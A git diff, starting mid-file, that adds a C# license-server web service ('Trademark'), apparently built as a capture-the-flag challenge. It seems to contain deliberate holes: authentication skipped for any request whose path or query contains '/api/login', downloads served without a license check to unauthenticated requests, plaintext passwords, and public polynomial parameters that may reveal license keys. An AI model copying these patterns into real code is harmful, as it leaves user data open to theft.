UnprocessableEntity(); + } + + var existingUser = await Database.Users.SingleOrDefaultAsync(u => u.Username == username); + if (existingUser != null) + { + return Conflict(); + } + + var user = new User + { + Username = username, + Password = password, + CreatedAt = DateTime.Now, + }; + Database.Users.Add(user); + await Database.SaveChangesAsync(); + + return StatusCode(StatusCodes.Status201Created, new + { + user_id = user.Id, + session = _signer.Sign(user.Id + user.Username), + }); + } +} diff --git a/services/service4/service/Controllers/BaseController.cs b/services/service4/service/Controllers/BaseController.cs new file mode 100644 index 0000000..ab3ed18 --- /dev/null +++ b/services/service4/service/Controllers/BaseController.cs @@ -0,0 +1,19 @@ +using Microsoft.AspNetCore.Mvc; +using service.Models; + +namespace service.Controllers; + +public class BaseController : ControllerBase +{ + protected readonly ApplicationDbContext Database; + + public BaseController(ApplicationDbContext db) + { + Database = db; + } + + protected User? Auth() + { + return (User?)HttpContext.Items["user"]; + } +} diff --git a/services/service4/service/Controllers/LicensesController.cs b/services/service4/service/Controllers/LicensesController.cs new file mode 100644 index 0000000..3c39840 --- /dev/null +++ b/services/service4/service/Controllers/LicensesController.cs @@ -0,0 +1,48 @@ +using System.Threading.Tasks; +using Microsoft.AspNetCore.Http; +using Microsoft.AspNetCore.Mvc; +using Microsoft.EntityFrameworkCore; +using service.Extensions; +using service.Services; + +namespace service.Controllers; + +[ApiController] +[Route("api/products")] +public class LicensesController : BaseController +{ + private readonly LicenseService _licenses; + + public LicensesController(ApplicationDbContext db, LicenseService licenses) : base(db) + { + _licenses = licenses; + } + + [HttpPost] + [Route("{id:int}/download")] + public async Task Download(int id) + { + var product = await Database.Products.SingleOrDefaultAsync(p => p.Id == id); + if (product == null) + { + return NotFound(); + } + + if (Auth()?.Let(user => user.Id != product.UserId) == true) + { + var license = Request.Form["license"].ToString(); + if (license == "") + { + return UnprocessableEntity("Invalid Input"); + } + + if (!_licenses.VerifyLicense(product.LicensePoly, product.LicenseMod, license)) + { + return StatusCode(StatusCodes.Status403Forbidden); + } + } + + Response.Headers.Add("Content-Disposition", $"attachment; filename=\"{product.Id}.txt\""); + return Ok(product.Content); + } +} diff --git a/services/service4/service/Controllers/ProductsController.cs b/services/service4/service/Controllers/ProductsController.cs new file mode 100644 index 0000000..fba4580 --- /dev/null +++ b/services/service4/service/Controllers/ProductsController.cs @@ -0,0 +1,122 @@ +using System; +using System.Linq; +using System.Threading.Tasks; +using Microsoft.AspNetCore.Http; +using Microsoft.AspNetCore.Mvc; +using Microsoft.EntityFrameworkCore; +using service.Extensions; +using service.Models; +using service.Services; + +namespace service.Controllers; + +[ApiController] +[Route("api/[controller]")] +public class ProductsController : BaseController +{ + private const int LicensesToGenerate = 5; + + private readonly LicenseService _licenses; + + public ProductsController(ApplicationDbContext db, LicenseService licenses) : base(db) + { + _licenses = licenses; + } + + [HttpGet] + public ActionResult Index() + { + return Ok( + Auth()?.Products + .OrderByDescending(p => p.CreatedAt) + .Select(p => new + { + id = p.Id, + publisher_id = p.UserId, + name = p.Name, + description = p.Description, + license = new + { + mod = p.LicenseMod, + poly = p.LicensePoly, + }, + created_at = p.CreatedAt.ToIsoZulu(), + }) + ); + } + + [HttpGet] + [Route("{id:int}")] + public async Task Show(int id) + { + var product = await Database.Products.SingleOrDefaultAsync(p => p.Id == id); + if (product == null) + { + return NotFound(); + } + + return Ok(new + { + id = product.Id, + publisher = new + { + id = product.User.Id, + username = product.User.Username, + }, + name = product.Name, + description = product.Description, + license = new + { + mod = product.LicenseMod, + poly = product.LicensePoly, + }, + created_at = product.CreatedAt.ToIsoZulu(), + }); + } + + [HttpPost] + public async Task Store() + { + var name = Request.Form["name"].ToString(); + var description = Request.Form["description"].ToString(); + var content = Request.Form["content"].ToString(); + + if (name == "" || content == "" || name.Length > 255 || description.Length > 32768 || content.Length > 32768) + { + return UnprocessableEntity("Invalid Input"); + } + + var product = new Product + { + Name = name, + Description = description, + Content = content, + CreatedAt = DateTime.Now, + UserId = Auth()!.Id, + }; + Database.Products.Add(product); + await Database.SaveChangesAsync(); + + var (poly, mod, licenses) = await _licenses.GenerateLicenses(product.Id.ToString(), LicensesToGenerate); + + product.LicenseMod = mod; + product.LicensePoly = poly; + Database.Products.Update(product); + await Database.SaveChangesAsync(); + + return StatusCode(StatusCodes.Status201Created, new + { + id = product.Id, + publisher_id = product.UserId, + name = product.Name, + description = product.Description, + license = new + { + mod = product.LicenseMod, + poly = product.LicensePoly, + }, + keys = licenses, + created_at = product.CreatedAt.ToIsoZulu(), + }); + } +} diff --git a/services/service4/service/Controllers/UsersController.cs b/services/service4/service/Controllers/UsersController.cs new file mode 100644 index 0000000..c5bb2e3 --- /dev/null +++ b/services/service4/service/Controllers/UsersController.cs @@ -0,0 +1,24 @@ +using Microsoft.AspNetCore.Mvc; +using service.Extensions; + +namespace service.Controllers; + +[ApiController] +[Route("api/[controller]")] +public class UsersController : BaseController +{ + public UsersController(ApplicationDbContext db) : base(db) + { + } + + [HttpGet] + public ActionResult Index() + { + return Ok(Auth()?.Let(u => new + { + id = u.Id, + username = u.Username, + created_at = u.CreatedAt.ToIsoZulu(), + })); + } +} diff --git a/services/service4/service/Dockerfile b/services/service4/service/Dockerfile new file mode 100644 index 0000000..a03b87a --- /dev/null +++ b/services/service4/service/Dockerfile @@ -0,0 +1,23 @@ +FROM mcr.microsoft.com/dotnet/sdk:6.0-alpine3.15 AS builder + +WORKDIR /tmp/service +COPY . . + +RUN dotnet publish -c Release -o /srv/service + + + +FROM mcr.microsoft.com/dotnet/aspnet:6.0-alpine3.15 + +RUN apk add --no-cache openssl + +COPY --from=builder /srv /srv + +RUN mkdir -p /srv/service/data \ + && chown -R nobody: /srv/service + +ENV DOTNET_EnableDiagnostics=0 + +USER nobody +WORKDIR /srv/service/ +CMD dotnet service.dll diff --git a/services/service4/service/Extensions/DateTimeExt.cs b/services/service4/service/Extensions/DateTimeExt.cs new file mode 100644 index 0000000..74f6e05 --- /dev/null +++ b/services/service4/service/Extensions/DateTimeExt.cs @@ -0,0 +1,12 @@ +using System; +using System.Globalization; + +namespace service.Extensions; + +public static class DateTimeExt +{ + public static string ToIsoZulu(this DateTime time) + { + return time.ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ss.fffK", CultureInfo.InvariantCulture); + } +} diff --git a/services/service4/service/Extensions/HttpRequestExt.cs b/services/service4/service/Extensions/HttpRequestExt.cs new file mode 100644 index 0000000..afe0d97 --- /dev/null +++ b/services/service4/service/Extensions/HttpRequestExt.cs @@ -0,0 +1,11 @@ +using Microsoft.AspNetCore.Http; + +namespace service.Extensions; + +public static class HttpRequestExt +{ + public static string FullPath(this HttpRequest request) + { + return (request.Path.HasValue ? request.Path.ToString() : "/") + request.QueryString; + } +} diff --git a/services/service4/service/Extensions/ObjectExt.cs b/services/service4/service/Extensions/ObjectExt.cs new file mode 100644 index 0000000..fb12070 --- /dev/null +++ b/services/service4/service/Extensions/ObjectExt.cs @@ -0,0 +1,11 @@ +using System; + +namespace service.Extensions; + +public static class ObjectExt +{ + public static TResult Let(this TSource obj, Func selector) + { + return selector(obj); + } +} diff --git a/services/service4/service/Middlewares/AuthMiddleware.cs b/services/service4/service/Middlewares/AuthMiddleware.cs new file mode 100644 index 0000000..a73d6ee --- /dev/null +++ b/services/service4/service/Middlewares/AuthMiddleware.cs @@ -0,0 +1,94 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Microsoft.AspNetCore.Http; +using Microsoft.EntityFrameworkCore; +using service.Extensions; +using service.Models; +using service.Services; + +namespace service.Middlewares; + +public class AuthMiddleware +{ + private readonly RequestDelegate _next; + private readonly HMacSigner _signer; + + private readonly List _blacklist = new() + { + "/api/login", + "/api/register", + }; + + public AuthMiddleware(RequestDelegate next, HMacSigner signer) + { + _next = next; + _signer = signer; + } + + private static string? GetToken(HttpRequest request) + { + var auth = request.Headers.Authorization.FirstOrDefault(); + if (auth == null || !auth.StartsWith("Bearer ")) + { + return null; + } + + var token = auth[7..]; + return token == "" ? null : token; + } + + private async Task FetchUser(HttpRequest request, ApplicationDbContext db) + { + var token = GetToken(request); + if (token == null) + { + return null; + } + + var decoded = Encoding.ASCII.GetString(Convert.FromBase64String(token)); + var parts = decoded.Split(":"); + if (parts.Length != 2) + { + return null; + } + + try + { + var userId = int.Parse(parts[0]); + var user = await db.Users.SingleAsync(u => u.Id == userId); + + return _signer.Validate(user.Id + user.Username, parts[1]) ? user : null; + } + catch (FormatException) + { + return null; + } + catch (InvalidOperationException) + { + return null; + } + } + + public async Task InvokeAsync(HttpContext context, ApplicationDbContext db) + { + if (_blacklist.Any(context.Request.FullPath().Contains)) + { + await _next(context); + return; + } + + var user = await FetchUser(context.Request, db); + if (user == null) + { + context.Response.StatusCode = StatusCodes.Status401Unauthorized; + return; + } + + context.Items["user"] = user; + + await _next(context); + } +} diff --git a/services/service4/service/Migrations/20220605131847_InitialCreate.Designer.cs b/services/service4/service/Migrations/20220605131847_InitialCreate.Designer.cs new file mode 100644 index 0000000..4376098 --- /dev/null +++ b/services/service4/service/Migrations/20220605131847_InitialCreate.Designer.cs @@ -0,0 +1,105 @@ +// +using System; +using System.Collections.Generic; +using System.Numerics; +using Microsoft.EntityFrameworkCore; +using Microsoft.EntityFrameworkCore.Infrastructure; +using Microsoft.EntityFrameworkCore.Migrations; +using Microsoft.EntityFrameworkCore.Storage.ValueConversion; +using service; + +#nullable disable + +namespace service.Migrations +{ + [DbContext(typeof(ApplicationDbContext))] + [Migration("20220605131847_InitialCreate")] + partial class InitialCreate + { + protected override void BuildTargetModel(ModelBuilder modelBuilder) + { +#pragma warning disable 612, 618 + modelBuilder.HasAnnotation("ProductVersion", "6.0.5"); + + modelBuilder.Entity("service.Models.Product", b => + { + b.Property("Id") + .ValueGeneratedOnAdd() + .HasColumnType("INTEGER"); + + b.Property("Content") + .IsRequired() + .HasColumnType("TEXT"); + + b.Property("CreatedAt") + .HasColumnType("TEXT"); + + b.Property("Description") + .IsRequired() + .HasColumnType("TEXT"); + + b.Property("LicenseMod") + .HasColumnType("TEXT"); + + b.Property>("LicensePoly") + .IsRequired() + .HasColumnType("TEXT"); + + b.Property("Name") + .IsRequired() + .HasColumnType("VARCHAR(255)"); + + b.Property("UserId") + .HasColumnType("INTEGER"); + + b.HasKey("Id"); + + b.HasIndex("UserId"); + + b.ToTable("Products"); + }); + + modelBuilder.Entity("service.Models.User", b => + { + b.Property("Id") + .ValueGeneratedOnAdd() + .HasColumnType("INTEGER"); + + b.Property("CreatedAt") + .HasColumnType("TEXT"); + + b.Property("Password") + .IsRequired() + .HasColumnType("VARCHAR(255)"); + + b.Property("Username") + .IsRequired() + .HasColumnType("VARCHAR(255)"); + + b.HasKey("Id"); + + b.HasIndex("Username") + .IsUnique(); + + b.ToTable("Users"); + }); + + modelBuilder.Entity("service.Models.Product", b => + { + b.HasOne("service.Models.User", "User") + .WithMany("Products") + .HasForeignKey("UserId") + .OnDelete(DeleteBehavior.Cascade) + .IsRequired(); + + b.Navigation("User"); + }); + + modelBuilder.Entity("service.Models.User", b => + { + b.Navigation("Products"); + }); +#pragma warning restore 612, 618 + } + } +} diff --git a/services/service4/service/Migrations/20220605131847_InitialCreate.cs b/services/service4/service/Migrations/20220605131847_InitialCreate.cs new file mode 100644 index 0000000..03f133a --- /dev/null +++ b/services/service4/service/Migrations/20220605131847_InitialCreate.cs @@ -0,0 +1,73 @@ +using System; +using Microsoft.EntityFrameworkCore.Migrations; + +#nullable disable + +namespace service.Migrations +{ + public partial class InitialCreate : Migration + { + protected override void Up(MigrationBuilder migrationBuilder) + { + migrationBuilder.CreateTable( + name: "Users", + columns: table => new + { + Id = table.Column(type: "INTEGER", nullable: false) + .Annotation("Sqlite:Autoincrement", true), + Username = table.Column(type: "VARCHAR(255)", nullable: false), + Password = table.Column(type: "VARCHAR(255)", nullable: false), + CreatedAt = table.Column(type: "TEXT", nullable: false) + }, + constraints: table => + { + table.PrimaryKey("PK_Users", x => x.Id); + }); + + migrationBuilder.CreateTable( + name: "Products", + columns: table => new + { + Id = table.Column(type: "INTEGER", nullable: false) + .Annotation("Sqlite:Autoincrement", true), + Name = table.Column(type: "VARCHAR(255)", nullable: false), + Description = table.Column(type: "TEXT", nullable: false), + Content = table.Column(type: "TEXT", nullable: false), + LicenseMod = table.Column(type: "TEXT", nullable: false), + LicensePoly = table.Column(type: "TEXT", nullable: false), + CreatedAt = table.Column(type: "TEXT", nullable: false), + UserId = table.Column(type: "INTEGER", nullable: false) + }, + constraints: table => + { + table.PrimaryKey("PK_Products", x => x.Id); + table.ForeignKey( + name: "FK_Products_Users_UserId", + column: x => x.UserId, + principalTable: "Users", + principalColumn: "Id", + onDelete: ReferentialAction.Cascade); + }); + + migrationBuilder.CreateIndex( + name: "IX_Products_UserId", + table: "Products", + column: "UserId"); + + migrationBuilder.CreateIndex( + name: "IX_Users_Username", + table: "Users", + column: "Username", + unique: true); + } + + protected override void Down(MigrationBuilder migrationBuilder) + { + migrationBuilder.DropTable( + name: "Products"); + + migrationBuilder.DropTable( + name: "Users"); + } + } +} diff --git a/services/service4/service/Migrations/ApplicationDbContextModelSnapshot.cs b/services/service4/service/Migrations/ApplicationDbContextModelSnapshot.cs new file mode 100644 index 0000000..181b4e1 --- /dev/null +++ b/services/service4/service/Migrations/ApplicationDbContextModelSnapshot.cs @@ -0,0 +1,103 @@ +// +using System; +using System.Collections.Generic; +using System.Numerics; +using Microsoft.EntityFrameworkCore; +using Microsoft.EntityFrameworkCore.Infrastructure; +using Microsoft.EntityFrameworkCore.Storage.ValueConversion; +using service; + +#nullable disable + +namespace service.Migrations +{ + [DbContext(typeof(ApplicationDbContext))] + partial class ApplicationDbContextModelSnapshot : ModelSnapshot + { + protected override void BuildModel(ModelBuilder modelBuilder) + { +#pragma warning disable 612, 618 + modelBuilder.HasAnnotation("ProductVersion", "6.0.5"); + + modelBuilder.Entity("service.Models.Product", b => + { + b.Property("Id") + .ValueGeneratedOnAdd() + .HasColumnType("INTEGER"); + + b.Property("Content") + .IsRequired() + .HasColumnType("TEXT"); + + b.Property("CreatedAt") + .HasColumnType("TEXT"); + + b.Property("Description") + .IsRequired() + .HasColumnType("TEXT"); + + b.Property("LicenseMod") + .HasColumnType("TEXT"); + + b.Property>("LicensePoly") + .IsRequired() + .HasColumnType("TEXT"); + + b.Property("Name") + .IsRequired() + .HasColumnType("VARCHAR(255)"); + + b.Property("UserId") + .HasColumnType("INTEGER"); + + b.HasKey("Id"); + + b.HasIndex("UserId"); + + b.ToTable("Products"); + }); + + modelBuilder.Entity("service.Models.User", b => + { + b.Property("Id") + .ValueGeneratedOnAdd() + .HasColumnType("INTEGER"); + + b.Property("CreatedAt") + .HasColumnType("TEXT"); + + b.Property("Password") + .IsRequired() + .HasColumnType("VARCHAR(255)"); + + b.Property("Username") + .IsRequired() + .HasColumnType("VARCHAR(255)"); + + b.HasKey("Id"); + + b.HasIndex("Username") + .IsUnique(); + + b.ToTable("Users"); + }); + + modelBuilder.Entity("service.Models.Product", b => + { + b.HasOne("service.Models.User", "User") + .WithMany("Products") + .HasForeignKey("UserId") + .OnDelete(DeleteBehavior.Cascade) + .IsRequired(); + + b.Navigation("User"); + }); + + modelBuilder.Entity("service.Models.User", b => + { + b.Navigation("Products"); + }); +#pragma warning restore 612, 618 + } + } +} diff --git a/services/service4/service/Models/Polynomial.cs b/services/service4/service/Models/Polynomial.cs new file mode 100644 index 0000000..0a02920 --- /dev/null +++ b/services/service4/service/Models/Polynomial.cs @@ -0,0 +1,75 @@ +using System; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.Globalization; +using System.Numerics; +using System.Text.Json; +using System.Text.Json.Serialization; +using Microsoft.EntityFrameworkCore.Storage.ValueConversion; + +namespace service.Models; + +public class Polynomial : Collection +{ + public Polynomial() + { + } + + public Polynomial(IList list) : base(list) + { + } + + public Polynomial(int capacity) : base(new List(capacity)) + { + } + + public void AddRange(IEnumerable list) + { + foreach (var i in list) + { + Add(i); + } + } +} + +public class PolynomialConverter : ValueConverter +{ + private static JsonSerializerOptions JsonOptions => new() + { + Converters = { new BigIntegerSerializer() }, + }; + + public PolynomialConverter() + : base( + v => JsonSerializer.Serialize(v, JsonOptions), + s => JsonSerializer.Deserialize(s, JsonOptions)! + ) + { + } +} + +public class BigIntegerConverter : ValueConverter +{ + public BigIntegerConverter() + : base( + v => v.ToString(NumberFormatInfo.InvariantInfo), + s => BigInteger.Parse(s, NumberFormatInfo.InvariantInfo) + ) + { + } +} + +public class BigIntegerSerializer : JsonConverter +{ + public override BigInteger Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType != JsonTokenType.String) + throw new JsonException($"Found token {reader.TokenType} but expected token {JsonTokenType.Number}"); + return BigInteger.Parse(reader.GetString()!, NumberFormatInfo.InvariantInfo); + } + + public override void Write(Utf8JsonWriter writer, BigInteger value, JsonSerializerOptions options) + { + writer.WriteStringValue(value.ToString(NumberFormatInfo.InvariantInfo)); + } +} diff --git a/services/service4/service/Models/Product.cs b/services/service4/service/Models/Product.cs new file mode 100644 index 0000000..5e787e5 --- /dev/null +++ b/services/service4/service/Models/Product.cs @@ -0,0 +1,23 @@ +using System; +using System.ComponentModel.DataAnnotations.Schema; +using System.Numerics; + +namespace service.Models; + +public class Product +{ + public int Id { get; set; } + + [Column(TypeName = "VARCHAR(255)")] public string Name { get; set; } = null!; + public string Description { get; set; } = null!; + public string Content { get; set; } = null!; + + [Column(TypeName = "TEXT")] public BigInteger LicenseMod { get; set; } = BigInteger.Zero; + [Column(TypeName = "TEXT")] public Polynomial LicensePoly { get; set; } = new(); + + public DateTime CreatedAt { get; set; } = DateTime.Now; + + + public int UserId { get; set; } + public virtual User User { get; set; } = null!; +} diff --git a/services/service4/service/Models/User.cs b/services/service4/service/Models/User.cs new file mode 100644 index 0000000..54d61f5 --- /dev/null +++ b/services/service4/service/Models/User.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel.DataAnnotations.Schema; +using Microsoft.EntityFrameworkCore; + +namespace service.Models; + +[Index(nameof(Username), IsUnique = true)] +public class User +{ + public int Id { get; set; } + + [Column(TypeName = "VARCHAR(255)")] public string Username { get; set; } = null!; + [Column(TypeName = "VARCHAR(255)")] public string Password { get; set; } = null!; + + public DateTime CreatedAt { get; set; } = DateTime.Now; + + + public virtual ICollection Products { get; set; } = null!; +} diff --git a/services/service4/service/Program.cs b/services/service4/service/Program.cs new file mode 100644 index 0000000..b338267 --- /dev/null +++ b/services/service4/service/Program.cs @@ -0,0 +1,21 @@ +using Microsoft.AspNetCore.Hosting; +using Microsoft.Extensions.Hosting; + +namespace service; + +public class Program +{ + public static void Main(string[] args) + { + Host.CreateDefaultBuilder(args) + .ConfigureWebHostDefaults(builder => + { + builder + .UseStartup() + .UseUrls("http://0.0.0.0:5000/"); + }) + .UseConsoleLifetime() + .Build() + .Run(); + } +} diff --git a/services/service4/service/Services/HMacSigner.cs b/services/service4/service/Services/HMacSigner.cs new file mode 100644 index 0000000..1474add --- /dev/null +++ b/services/service4/service/Services/HMacSigner.cs @@ -0,0 +1,31 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace service.Services; + +public class HMacSigner +{ + private readonly byte[] _key; + + public HMacSigner(string key) + { + _key = Encoding.ASCII.GetBytes(key); + } + + public string Sign(string data) + { + return BitConverter + .ToString(new HMACSHA256(_key).ComputeHash(Encoding.ASCII.GetBytes(data))) + .Replace("-", "") + .ToLower(); + } + + public bool Validate(string data, string signature) + { + return CryptographicOperations.FixedTimeEquals( + Encoding.ASCII.GetBytes(signature), + Encoding.ASCII.GetBytes(Sign(data)) + ); + } +} diff --git a/services/service4/service/Services/LicenseService.cs b/services/service4/service/Services/LicenseService.cs new file mode 100644 index 0000000..08b6aa5 --- /dev/null +++ b/services/service4/service/Services/LicenseService.cs @@ -0,0 +1,117 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Numerics; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using service.Models; + +namespace service.Services; + +public class LicenseService +{ + private readonly OpenSsl _openssl; + private readonly SHA512 _sha512; + private readonly string _secret; + + public LicenseService(OpenSsl openssl, string secret) + { + _openssl = openssl; + _sha512 = SHA512.Create(); + _secret = secret; + } + + private static Polynomial MultiplyPoly(Polynomial a, Polynomial b, BigInteger mod) + { + var n = a.Count + b.Count - 1; + var res = new Polynomial(n); + res.AddRange(Enumerable.Repeat(BigInteger.Zero, n)); + + for (var i = 0; i < a.Count; i++) + { + for (var j = 0; j < b.Count; j++) + { + res[i + j] += a[i] * b[j]; + res[i + j] %= mod; + } + } + + return res; + } + + private static BigInteger EvaluatePoly(Polynomial poly, BigInteger value, BigInteger mod) + { + var res = BigInteger.Zero; + + for (var i = 0; i < poly.Count; i++) + { + res += poly[i] * BigInteger.ModPow(value, i, mod); + res %= mod; + } + + return res; + } + + private static IEnumerable NumberToList(BigInteger x) + { + return x < 26 + ? new List { (int)x } + : new List { (int)(x % 26) }.Concat(NumberToList(x / 26)).ToList(); + } + + private static string LicenseToString(BigInteger value) + { + var l = string.Join("", NumberToList(value).Select(x => (char)(x + 0x41))); + while (l.Length % 7 != 0) + { + l += "A"; + } + + return string.Join("-", Enumerable.Range(0, l.Length / 7) + .Select(i => l.Substring(i * 7, 7))); + } + + private static BigInteger RandomBigInteger(int bits) + { + var rng = RandomNumberGenerator.Create(); + var bytes = new byte[bits / 8]; + rng.GetBytes(bytes); + return BigInteger.Abs(new BigInteger(bytes)); + } + + public async Task>> GenerateLicenses(string seeder, int n) + { + var module = await _openssl.Prime(1024); + var poly = MultiplyPoly( + new Polynomial { BigInteger.Zero, BigInteger.One }, + new Polynomial { BigInteger.Abs(new BigInteger(_sha512.ComputeHash(Encoding.ASCII.GetBytes(_secret + seeder)))), BigInteger.One }, + module + ); + + var licences = Enumerable.Repeat(0, n).Select(_ => RandomBigInteger(128)).ToList(); + poly = licences.Aggregate(poly, (current, licence) => MultiplyPoly(current, new Polynomial { -licence, BigInteger.One }, module)); + + return new Tuple>( + poly, + module, + licences.Select(LicenseToString).ToList() + ); + } + + public bool VerifyLicense(Polynomial poly, BigInteger mod, string key) + { + if (!Regex.Match(key, "^([A-Z]{7})-([A-Z]{7})-([A-Z]{7})-([A-Z]{7})$").Success) + { + return false; + } + + var n = key.Replace("-", "") + .ToCharArray() + .Select((ch, i) => BigInteger.Pow(26, i) * (ch - 0x41)) + .Aggregate(BigInteger.Zero, (current, n) => current + n); + + return EvaluatePoly(poly, n, mod) == BigInteger.Zero; + } +} diff --git a/services/service4/service/Services/OpenSsl.cs b/services/service4/service/Services/OpenSsl.cs new file mode 100644 index 0000000..c66a66c --- /dev/null +++ b/services/service4/service/Services/OpenSsl.cs @@ -0,0 +1,44 @@ +using System.Diagnostics; +using System.Numerics; +using System.Text; +using System.Threading.Tasks; + +namespace service.Services; + +public class OpenSsl +{ + private readonly string _path; + + public OpenSsl(string path) + { + _path = path; + } + + public async Task Prime(int bits) + { + var outputBuilder = new StringBuilder(); + + var processStartInfo = new ProcessStartInfo + { + CreateNoWindow = true, + RedirectStandardOutput = true, + RedirectStandardInput = true, + UseShellExecute = false, + FileName = _path, + Arguments = $"prime -generate -bits {bits}", + }; + + var process = new Process(); + process.StartInfo = processStartInfo; + process.EnableRaisingEvents = true; + process.OutputDataReceived += delegate (object _, DataReceivedEventArgs e) { outputBuilder.Append(e.Data); }; + + process.Start(); + process.BeginOutputReadLine(); + await process.WaitForExitAsync(); + process.CancelOutputRead(); + + var output = outputBuilder.ToString(); + return BigInteger.Parse(output.Trim()); + } +} diff --git a/services/service4/service/Startup.cs b/services/service4/service/Startup.cs new file mode 100644 index 0000000..81f4e78 --- /dev/null +++ b/services/service4/service/Startup.cs @@ -0,0 +1,66 @@ +using System; +using System.Security.Cryptography; +using System.Text.Json.Serialization; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.ResponseCompression; +using Microsoft.EntityFrameworkCore; +using Microsoft.Extensions.Configuration; +using Microsoft.Extensions.DependencyInjection; +using service.Middlewares; +using service.Models; +using service.Services; + +namespace service; + +public class Startup +{ + public Startup(IConfiguration configuration) + { + Configuration = configuration; + } + + private IConfiguration Configuration { get; } + + public void ConfigureServices(IServiceCollection services) + { + services.AddDbContext(); + + // TODO(to players): Add a 32 bytes random key to appsettings.json System.SignatureKey field to persist data across restarts. + if (Configuration["System:SignatureKey"] == "") + { + Configuration["System:SignatureKey"] = Convert.ToBase64String(RandomNumberGenerator.GetBytes(24)); + } + + services.AddSingleton(_ => new HMacSigner(Configuration["System:SignatureKey"])); + services.AddSingleton(_ => new OpenSsl(Configuration["System:OpensslPath"])); + services.AddSingleton(provider => new LicenseService(provider.GetService()!, Configuration["System:SignatureKey"])); + + services.AddControllers().AddJsonOptions(options => + { + options.JsonSerializerOptions.Converters.Add(new BigIntegerSerializer()); + options.JsonSerializerOptions.DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull; + }); + + services.AddResponseCompression(options => + { + options.EnableForHttps = true; + options.Providers.Add(); + options.Providers.Add(); + }); + } + + public void Configure(IApplicationBuilder app, IWebHostEnvironment env, ApplicationDbContext dataContext) + { + dataContext.Database.Migrate(); + + app.UseResponseCompression(); + app.UseRouting(); + app.UseDefaultFiles(); + app.UseStaticFiles(); + + app.UseMiddleware(); + + app.UseEndpoints(endpoints => { endpoints.MapControllers(); }); + } +} diff --git a/services/service4/service/appsettings.json b/services/service4/service/appsettings.json new file mode 100644 index 0000000..fc0b0d8 --- /dev/null +++ b/services/service4/service/appsettings.json @@ -0,0 +1,6 @@ +{ + "System": { + "OpensslPath": "/usr/bin/openssl", + "SignatureKey": "" + } +} diff --git a/services/service4/service/docker-compose.yml b/services/service4/service/docker-compose.yml new file mode 100644 index 0000000..792d018 --- /dev/null +++ b/services/service4/service/docker-compose.yml @@ -0,0 +1,20 @@ +version: "2.4" + +services: + service: + build: . + restart: unless-stopped + ports: + - "0.0.0.0:5000:5000" + volumes: + - service-data:/srv/service/data + pids_limit: 1024 + cpus: 2 + mem_limit: 2048M + mem_reservation: 512M + memswap_limit: 0 + read_only: true + shm_size: 64M + +volumes: + service-data: diff --git a/services/service4/service/service.csproj b/services/service4/service/service.csproj new file mode 100644 index 0000000..2d919c6 --- /dev/null +++ b/services/service4/service/service.csproj @@ -0,0 +1,23 @@ + + + + netcoreapp6.0 + enable + + + + + + runtime; build; native; contentfiles; analyzers; buildtransitive + all + + + + + + + + + + + diff --git a/services/service4/service/wwwroot/index.html b/services/service4/service/wwwroot/index.html new file mode 100644 index 0000000..7b8f48f --- /dev/null +++ b/services/service4/service/wwwroot/index.html @@ -0,0 +1,473 @@ + + + + + + + + + + + Trademark + + + + + + + +
        +
        +
        +

        Trademark

        +
        +
        + Welcome to Trademark, a brand new .NET License Server!
        + Here users can create new products and generate a number of license keys that can be used to download the content of the products. +
        +
        +
        + +
        +
        + +
        +
        +
        +
        + + +
        +
        +
        +

        Register

        +
        + +
        + + +
        + +
        + + +
        + +
        + +
        +
        +
        +
        + + +
        +
        +
        +

        Login

        +
        + +
        + + +
        + +
        + + +
        + +
        + +
        +
        +
        +
        + + +
        +
        +
        +

        List products

        +
        +
        +
        Open a product:
        + +
        + +
        +
        +
        +
        Your product:
        +
        +
        +
        +
        + + +
        +
        +
        +

        Create product

        +
        + +
        + + +
        + +
        + + +
        + +
        + + +
        + +
        + +
        + +
        +
        + +
        +
        Product licenses:
        + + + + + + +
        +
        +
        +
        + + +
        +
        +
        +

        Product info

        +
        +
        + Id: +
        +
        + Publisher: +
        +
        + Description: +
        +
        + Creation date: +
        +
        + +
        + + +
        +
        + +
        +
        +
        +
        Content
        + +
        +
        +
        +
        + + + +